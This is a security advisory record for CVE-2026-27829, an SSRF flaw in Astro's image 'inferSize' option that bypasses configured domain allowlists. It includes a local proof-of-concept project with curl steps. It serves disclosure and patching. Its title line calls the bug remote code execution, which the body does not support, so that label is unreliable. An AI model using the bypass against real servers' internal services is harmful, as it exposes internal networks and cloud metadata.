CVE-2026-27829: @astrojs/node Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cj9f-h6r6-4cx2",
  "modified" : "2026-02-27T21:53:27Z",
  "published" : "2026-02-25T18:11:47Z",
  "aliases" : [ "CVE-2026-27829" ],
  "summary" : "Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize",
  "details" : "## Summary\n\nA bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.\n\n## Details\n\nAstro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).\n\nHowever, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.\n\n## PoC\n\n<details>\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n  \"name\": \"poc-ssrf-infersize\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"astro dev --port 4322\",\n    \"build\": \"astro build\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.17.2\",\n    \"@astrojs/node\": \"9.5.3\"\n  }\n}\n```\n\n`astro.config.mjs` — only `localhost:9000` is authorized:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n  image: {\n    remotePatterns: [\n      { hostname: 'localhost', port: '9000' }\n    ]\n  }\n});\n```\n\n`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):\n```javascript\nimport { createServer } from 'node:http';\nconst GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');\ncreateServer((req, res) => {\n  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);\n  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });\n  res.end(GIF);\n}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));\n```\n\n`src/pages/test.astro`:\n```astro\n---\nimport { getImage } from 'astro:assets';\n\nconst result = await getImage({\n  src: 'http://127.0.0.1:8888/internal-api',\n  inferSize: true,\n  alt: 'test'\n});\n---\n<html><body>\n  <p>Width: {result.options.width}, Height: {result.options.height}</p>\n</body></html>\n```\n\n### Steps to reproduce\n\n1. Run `npm install` and start the internal service:\n\n```bash\nnode internal-service.mjs\n```\n\n2. Start the dev server:\n\n```bash\nnpm run dev\n```\n\n3. Request the page:\n\n```bash\ncurl http://localhost:4322/test\n```\n\n4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.\n\n</details>\n\n## Impact\n\nAllows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@astrojs/node"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.0.0"
      }, {
        "fixed" : "9.5.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/security/advisories/GHSA-cj9f-h6r6-4cx2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27829"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withastro/astro"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T18:11:47Z",
    "nvd_published_at" : "2026-02-26T01:16:24Z"
  }
}